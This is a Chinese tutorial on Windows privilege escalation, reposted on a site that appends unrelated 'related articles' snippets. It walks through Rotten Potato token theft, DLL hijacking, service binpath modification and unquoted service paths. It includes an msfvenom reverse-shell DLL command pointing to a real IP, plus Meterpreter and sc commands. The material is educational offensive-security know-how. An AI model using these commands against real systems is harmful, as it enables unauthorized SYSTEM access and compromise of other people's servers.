62 权限提升-烂土豆dll劫持引号路径服务权限

news2024/11/28 12:54:14

目录

    • 演示案例:
      • Win2012-烂士豆配合令牌窃取提权-Web权限
      • Win2012-DLL劫持提权应用配合MSF-Web权限
      • Win2012-不安全的服务权限配合MSF-本地权限
      • Win2012-不带引号服务路径配合MSF-Web,本地权限
      • 补充说明: dll劫持提权及AlwaysInstallElevated等说明
      • 关于Windows相关知识点总结说明-权限层,系统层,防护层等
    • 涉及资源:

演示案例:

Win2012-烂士豆配合令牌窃取提权-Web权限

单纯令牌窃取: web权限或本地提权
如配合烂土豆提权: web或数据库等权限

RottenPotato (烂土豆) 提权的原理可以简述如下:

1.欺骗 “NT AUTHORITY\SYSTEM” 账户通过NTLM认证到我们控制的TCP终端。
2.对这个认证过程使用中间人攻击 (NTLM重放) ,为"NT AUTHORITY\SYSTEM" 账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
3.模仿这个令牌。只有具有 “模仿安全令牌权限” 的账户才能去模仿别人的令牌。一般大多数的服务型账户 (IIS、MSSQL等) 有这个权限,大多数用户级的账户没有这个权限。

所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我发现使用已经建好的账户 (就是上面说的用户级账户) 去反弹meterpreter然后再去执行EXP的时候会失败,但使用菜刀 (lIS服务器权限) 反弹meterpreter就会成功。

烂土豆比热土豆的优点是:

1.100%可靠
2.(当时)全版本通杀,现在是需要自己做个免杀
3.立即生效,不用像hot potato那样有时候需要等Windows更新才能使用。

总之,我对这个的理解是通过中间人攻击,将COM (NT\SYSTEM权限) 在第二部挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌。

原理:参考上述图片内容,非服务类用户权限无法窃取成功
原理过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取SYSTEM-成功。

upload /root/potato.exe C:\Users\Public
cd C:\\users\\Public
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITYA\\SYSTEM"

提权层面是在web权限上面提升至system权限,这个是跨越比较大的权限,一般我们的提权方法是本地提权,就是本地用户提升至system,这个烂土豆配合令牌窃取提权只要有web权限就可以

在webshell上面上传烂土豆,然后执行烂土豆,紧接着利用窃取模块,窃取SYSTEM权限,最后获取成功

这个是我们前期在目标主机装上去的webshell,就是我们提权获取到web权限,通过这个web权限实现windows的提权
在这里插入图片描述
查看用户名和当前权限,它是普通用户,就是大部分的web权限
在这里插入图片描述
首先我们打开msf生成后门,搜索msfvenom生成木马
https://blog.csdn.net/qq_63844103/article/details/128801917
在这里插入图片描述
先有msf,再有CS,CS内网用的比较多一点,这只是单纯的提权
我们把生成好的后门通过webshell传上去,执行它就完事了
在这里插入图片描述
在这里插入图片描述
这个时候就是属于监听状态,然后webshell这边执行文件
在这里插入图片描述
在这里插入图片描述
这个时候我们需要对它进行提权,令牌窃取是建立在权限足够的情况下进行提权,所以我们先进行烂土豆提权
我们可以去网上下载烂土豆提权
在这里插入图片描述
烂土豆必须在msf执行,切换到烂土豆在的目录,然后执行它
在这里插入图片描述
紧接着,我们在重复一次令牌窃取,提权成功
在这里插入图片描述

Win2012-DLL劫持提权应用配合MSF-Web权限

特定软件应用:第三方软件并且权限在控制的时候,比如在操作第三方软件的时候,能够删除它的文件,覆盖它里面的文件

原理: windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录 (先系统后用户)
过程: 信息收集-进程调试-制作dll并上传-换dll-启动应用后成功

DLL劫持提权是比较鸡肋的,但是还是要讲,因为它也是提权方法里面的一种,基本上windows系统都是通杀的,DLL文件在windows上是动态链接库,就好比exe程序,就是很多在开发软件的时候,就会开发dll库,就是程序在启用的时候,默认会调用一些dll库,实现它功能的加载,就是有些程序在写的时候,有些功能需要dll库支持,也就是说dll库是可以实现一些功能的,我们如果能自定义dll库,就能控制执行的东西

信息收集服务器上的第三方软件特有应用程序的信息,我们要分析程序在运行的时候,它有调用那些dll,知道之后,我们就制作一个后门dll去把它进行上传,替换原有的dll,然后当程序启用成功之后,就会调用我们替换的dll来实现这个dll劫持

我们可以通过前期的基本信息,然后可以看一下它有没有一些程序、服务、第三方软件

在这里插入图片描述
可以看到有一个第三方软件,ftp传输软件,符合我们dll提权的一个条件
在这里插入图片描述
我们本地下载这个程序,去调式它
在这里插入图片描述
我们先运行这个软件,找到这个进程
在这里插入图片描述
在这里插入图片描述
我们做的是提权,系统文件我们不可能去更改它,因为本身权限就不够,所以我们看的是数字签名文件和未知文件,数字签名文件这里有引用到其它程序的dll文件

在这里插入图片描述
我们可以尝试去替换dll文件,来实现把dll文件自定义,我们只能够去替换能修改的目录的dll文件,所以我们得选择第三方软件的dll,所以这个时候,我们就在msf上生成恶意dll

msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/ssleay.dll

我们通过shell把生成的dll文件上传上去,然后把源文件替换掉

在这里插入图片描述
我们在msf上开启监听,运行后门exe文件
在这里插入图片描述
接收到会话,我们在利用令牌窃取,因为administrator权限足够了
在这里插入图片描述
这个就是dll劫持,它是比较鸡肋的,对方必须要启用这个程序才行,就是替换完之后,管理员要启用它才行,如果不启用它,就没办法,因为启动了就表示会加载dll,dll就是我们替换的dll,除此之外,dll就是要考虑替换,这个替换权限指的是要看你当前的权限,不是说一定就有,如果webshell权限设置的比较宽松的话,是有的,但是它设置比较严谨的情况下,所以它有前提条件,这个条件要满足才可以

它要满足的条件有点多:1、它装有第三方软件;2、有替换权限;3、管理员要去运行这个程序才行

直接利用火绒剑这个程序去分析进程所加载的dll,排除系统的dll,因为系统的dll,我们是没有权限去替换它,目录都看不了,怎么去替换,所以我们要去找自身程序自带的dll,尝试替换

收集信息有没有第三方的,然后通过收集信息对第三方软件本地去分析,因为我们不可能在服务器上进行分析,因为你要提权的服务器你怎么分析那个进程呢,我们不能打开看,所以我们只能去本地下载一个同样的软件,然后在自己的电脑上去分析,调用dll,知道之后,制作一个dll,把原有的dll进行替换,然后等待这个管理员的启用,应用之后,我们才能接收这个会话,反弹的webshell

这个dll可以进行自定义的,不需要反弹回来,把这个dll,自己通过开发,写个dll,一旦提权成功,自己就创建一个账户,都可以

Win2012-不安全的服务权限配合MSF-本地权限

原理: 即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。

过程: 检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功

accesschk.exe -uwcgv "administrators" *
sc config "NewServiceName" binpath="C:\test.exe"
sc start "NewServiceName"

根据你当前用户权限,看一下你这个用户有没有可以操作的服务进行配置

利用accesschk.exe文件,去执行-uwcgv命令,冒号里面就是当前的用户、用户组,来检测当前的用户、用户组有没有可以操作的服务命令,一般这种提权适用本地,webshell一般就不现实了

accesschk.exe -uwcgv "administrators" *

我们检测到当前用户组享受这些所有权限的,包括读写、删除、修改各种各样的
在这里插入图片描述

我们查询user组,说明user组的用户没有对这些服务进行操作的权限
在这里插入图片描述
如果在实战中,我们碰到这个提示,说明我们这个提权方法GG,因为当前组没有可以进行的操作

指向这个服务名对应的文件,操作完之后,发现服务对应的路径就更改了

sc config "NewServiceName" binpath="C:\test.exe"

在这里插入图片描述
在这里插入图片描述
启动系统服务,很显然就会执行test.exe,我们监听一下会话

sc start "NewServiceName"

在这里插入图片描述
在这里插入图片描述
我通过这个东西直接提权到system权限,webshell权限大部分是不够的,webshell权限大部分不能够对服务进行更改,所以它大部分是本地提权的概念

Win2012-不带引号服务路径配合MSF-Web,本地权限

原理: 当windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

过程: 检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功

我们看一下我们当前电脑服务,我们可以点击每个服务对应的属性,是不是会对应执行文件,当我们打开这个服务的时候,会默认执行这条命令,而且是以system权限去运行它
在这里插入图片描述
在这里插入图片描述

windows服务程序在配置的时候,出现配置不带引号的东西之后,就会出现安全问题,它会认为空格之后是参数,会导致这个文件在运行的时候,出问题

在这里插入图片描述

检测服务器上有没有有问题的服务路径,就是看它有没有引号,有引号就是正常的,会正常的调用参数,没有引号就会出现安全问题,如果没有我们就可以利用路径制作文件并上传,启用服务或者等待服务器的重启,因为服务器重启会加载一些服务,那么可能就会把你的服务加载,所以我们就等待服务重启,启用服务是需要权限的,如果权限不够的话,就等待服务器的重启,一旦服务被调用就会成功去运行之前的后门文件

用这个命令去检测服务调用执行命令没有引号的

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

如果有提示,就表示这两个地方可以操作,有安全问题必须不带引号,目录里面必须带空格,不带空格也不行,因为空格是命令参数执行的标准
第二个文件目录放上去执行的时候会出现,前面当作一个执行程序,后面当作命令参数
在这里插入图片描述
下面的cmd命令,执行的是C:\Program
在这里插入图片描述
使用msf制作一个后门,命名为Program.exe,上传到目标服务器C盘根目录
在这里插入图片描述

在webshell里面启动服务的命令,可能会出现没有权限启用,所以引号路径攻击多用于本地环境

sc start "服务名"

启动服务,我们放在C盘的后门被启动,msf监听到,提权成功
在这里插入图片描述
因为服务启用就会调用系统权限,所以就能获得系统权限,如果掉了,有可能是因为服务崩了

如果在实战中,权限丢了也不要紧,因为我们可以把exe换成不需要时刻连接的,因为这个后门是msf后门,所以才需要时刻连接,保持它进程的运行
我们可以把后门替换成远控的,一旦执行就执行命令,添加用户,开3389等操作,这些都是后期可以进行的操作

注意这个提权是要看对方有没有安全问题,它其实就是检测服务里面绑定程序的时候,有没有按照规矩的使用引号,因为我们这个服务大部分都是自带服务,然后加上你安装的软件,有时候你安装软件之后,软件会自动创建服务,像apche大部分都是自带服务,如果这个软件在创建服务的时候,没有按照规矩加双引号,就会出现这个安全问提,我们可以通过命令去寻找服务里面对应的程序绑定目录的时候有没有安全问题,有,我们就可以操作它,你直接上后门替换它对应目录里面对应的程序就可以了

有一定的适应面,同时比较鸡肋,因为系统如果不安装第三方软件或者其它东西的话,就不会出现这个问题,而且第三方软件有部分不会出现安全问题,因为有写第三方软件有去正确的配置服务目录,很多情况下都是没有这个引号路径问题的,这就是它比较鸡肋的地方

补充说明: dll劫持提权及AlwaysInstallElevated等说明

dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋
AlwaysInstallELevated提权默认禁用配置,利用成功机会很少

很多知识点一碰实战就搞不来的原因,就是很多知识点是有前提条件的,不满足那个前提条件是没办法执行的
在这里插入图片描述
你自己都要提权了,你怎么以system权限手动提权它呢,一般管理员是默认不会把AlwaysInstallElevated开启的,我们不讲它的原因是它的利用条件实在是太苛刻了,AlwaysInstallElevated基本是禁用的,用不了,我们就没必要去学它
在这里插入图片描述

关于Windows相关知识点总结说明-权限层,系统层,防护层等

总结windows提权知识点
掌握: 提权方法对应层面,提权方法对应系统版本,相关文件及后门免杀问题等

webshell权限大部分是搭建平台赋予的权限,是个非常小的权限,它没有user大,比来宾用户权限大一些

在本地能操作的,一般在web层面也能操作,因为本地权限比web权限大
数据库提权和溢出漏洞是通用的,在本地和web层面都可以

红蓝对抗里面免杀是核心,因为实战情况下,免杀过不了,会导致很多东西都操作不了,免杀是大部分面对的最大的困难,网上有很多文章,但是你会发现大部分已经通用了,

系统服务的权限要看是谁启动的,那就是谁的权限

涉及资源:

https://github.com/tennc/webshell
https://www.sdbeta.com/wg/2020/0628/235361.html
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1256831.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Redis未授权访问-CNVD-2019-21763复现

Redis未授权访问-CNVD-2019-21763复现 利用项目: https://github.com/vulhub/redis-rogue-getshell 解压后先进入到 RedisModulesSDK目录里面的exp目录下,make编译一下才会产生exp.so文件,后面再利用这个exp.so文件进行远程代码执行 需要p…

微机原理_5

一、单项选择题(本大题共15小题,每小题3分,共45分。在每小题给出的四个备选项中,选出一个正确的答案,请将选定的答案填涂在答题纸的相应位置上。) 8086微处理器CLK引脚输入时钟信号是由(提供。 A. 8284 B. 8288 C.8287 D. 8289 2.下面4个寄存器中,不能作为间接寻址的寄存器是(…

hivesql 将json格式字符串转为数组

hivesql 将json格式字符串转为数组 完整过程SQL在文末 json 格式字符串 本案例 json 字符串参考格式,请勿使用本数据 {"data": [{"province": 11,"id_card": "110182198903224674","name": "闾丘饱乾"…

【开源】基于JAVA的高校学院网站

项目编号: S 020 ,文末获取源码。 \color{red}{项目编号:S020,文末获取源码。} 项目编号:S020,文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 学院院系模块2.2 竞赛报名模块2.3 教…

人工智能_机器学习051_支持向量机SVM概念介绍_理解support vector machine---人工智能工作笔记0091

在出现深度学习,神经网络算法之前,支持向量机已经可以解决很多问题了,我们自然界中的问题,无非就是可以转换为回归问题和分类问题. 然后从现在开始我们来看支持向量机,首先看一下这几个字 support 是支持 vector是向量的意思,然后 machine指的是机器 那么我们之前用到的模型…

85基于Matlab的交通设施识别

基于Matlab的交通设施识别。 GUI设计图像处理, 基于数字图像处理,设计实现一个自然场景下公路交通限速标志分割和识别的程序。要求系统具有界面,并实现以下功能: 1)读入自然场景下包含交通标志的图像; 2)对…

Qt TCP网络上位机的设计(通过网络编程与下位机结合)

目录 TCP 协议基础 QTcpServer 和 QAbstractSocket 主要接口函数 TCP 应用程序 1.服务端 2.客户端 上位机通过网络编程与下位机实现通信 TCP 协议基础 传输控制协议(TCP,Transmission Control Protocol)是一种面向连接的、可靠的、基于…

蓝桥杯-动态规划-子数组问题

目录 一、乘积最大数组 二、乘积为正数的最长子数组长度 三、等差数列划分 四、最长湍流子数组 心得: 最重要的还是状态表示,我们需要根据题的意思,来分析出不同的题,不同的情况,来分析需要多少个状态 一、乘积最…

Node.js与npm的准备与操作

1.下载 Node.js官网:Node.jsNode.js is a JavaScript runtime built on Chromes V8 JavaScript engine.https://nodejs.org/en 打开后的界面如下: LTS(Long Term Support):长期支持版,稳定版 Current&am…

Vue+ElementUI+C#技巧分享:周数选择器

文章目录 前言一、周数的计算逻辑1.1 周数的定义1.2 年初周数的确定1.3 周数的计算方法 二、VueElementUI代码实现2.1 计算周数2.2 获取周的日期范围2.3 根据周数获取日期范围2.4 控件引用2.4.1 控件引用代码分析2.4.2 初始化变量代码分析 2.5 周数选择器完整代码 三、C#后端代…

10_7iic整体框架流程

在内核中 这边把iic整个流程分成了 4层 iic_dtiver at24_iic_eeprom 也就是我们的自己的驱动 i2c-core.c 核心层 i2c/busses/i2c-s3c2410.c 控制器层 平台总线驱动层,或者也是图中的设备树 硬件描述 我们假设 板子上有三个iic控制器 0 1 2 这里在控制器0 上挂载了gt24c02的eep…

Retrofit怎么返回一个JSON字符串?

项目用已经使用了 Retrofit,定义了接口方法,返回了 JSON 转换后的实体对象,炒鸡方便。但是总有意料之外的时候,比如我不需要返回实体对象,我要返回纯纯的 JSON 字符串,怎么办呢? 先看源码 通过…

ros2智能小车中STM32地盘需要用到PWM的模块

我做的地盘比较简单,使用了一下模块: 4个直流减速电机,(每个模块用到了一个PWM) 光电对射测速模块(不用PWM) 超声波测距模块(不用PWM,只需要测量时间) sg90转向模块&…

C语言进阶-文件操作

目录 文件分类 程序文件 数据文件 文件的打开和关闭 文件指针 文件的顺序读写 文件读取结束的判定 文件缓冲区 文件版通讯录 实现代码 注意事项 ​编辑 ​编辑 实现效果 文件分类 磁盘上的文件是文件。 但是在程序设计中,我们一般谈的文件有两种:程…

【虚拟机】在VM中安装 CentOS 7

1.2.创建虚拟机 Centos7是比较常用的一个Linux发行版本,在国内的使用比例还是比较高的。 大家首先要下载一个Centos7的iso文件,我在资料中给大家准备了一个mini的版本,体积不到1G,推荐大家使用: 我们在VMware《主页》…

深入理解对象与垃圾回收机制

1、虚拟机中对象创建过程 1.1 对象创建过程 当我们使用 new 创建一个对象时,在 JVM 中进行了如下操作: 类加载:把 class 加载到 JVM 运行时数据区的过程。可以通过本地文件的形式,也可以通过网络加载。 检查加载:首…

【RTP】3: RTPSenderVideo::SendVideo 切片到发送

m98 版本。之前1 2 都是m79.RTPSenderVideo::SendVideo 负责切片,是入口 实际发送要靠: RTPSender* const rtp_sender_; 外部传递的: rtp_rtcp\source\rtp_sender.h 实现了rtp rtcp协议 ,负责实际的打包 新增了一个 TransformableFrameInterface 用的 编码线程 - RTPSend…

【数据库】缓冲区管理器结构,几种常用替换策略分析,pin钉住缓冲区块防止错误的替换,以及缓冲区管理带来的代价优化

缓冲区管理 ​专栏内容: 手写数据库toadb 本专栏主要介绍如何从零开发,开发的步骤,以及开发过程中的涉及的原理,遇到的问题等,让大家能跟上并且可以一起开发,让每个需要的人成为参与者。 本专栏会定期更新&…

【Qt】判断QList链表内是否有重复数据

QList<int> listInt;listInt.push_back(1);listInt.push_back(1);listInt.push_back(2);listInt.push_back(3);qDebug().noquote() << listInt.toSet().toList();

(数据结构)顺序表的定义

#include<stdio.h> //顺序表的实现——静态分配 #define MAX 10 //定义最大长度 typedef struct List {int data[MAX]; //用静态的数组存放数据int lenth; //顺序表现在的长度 }List; //顺序表的初始化 void ChuShiHua(List L) {L.lenth 0; //将顺序表的长度初始化…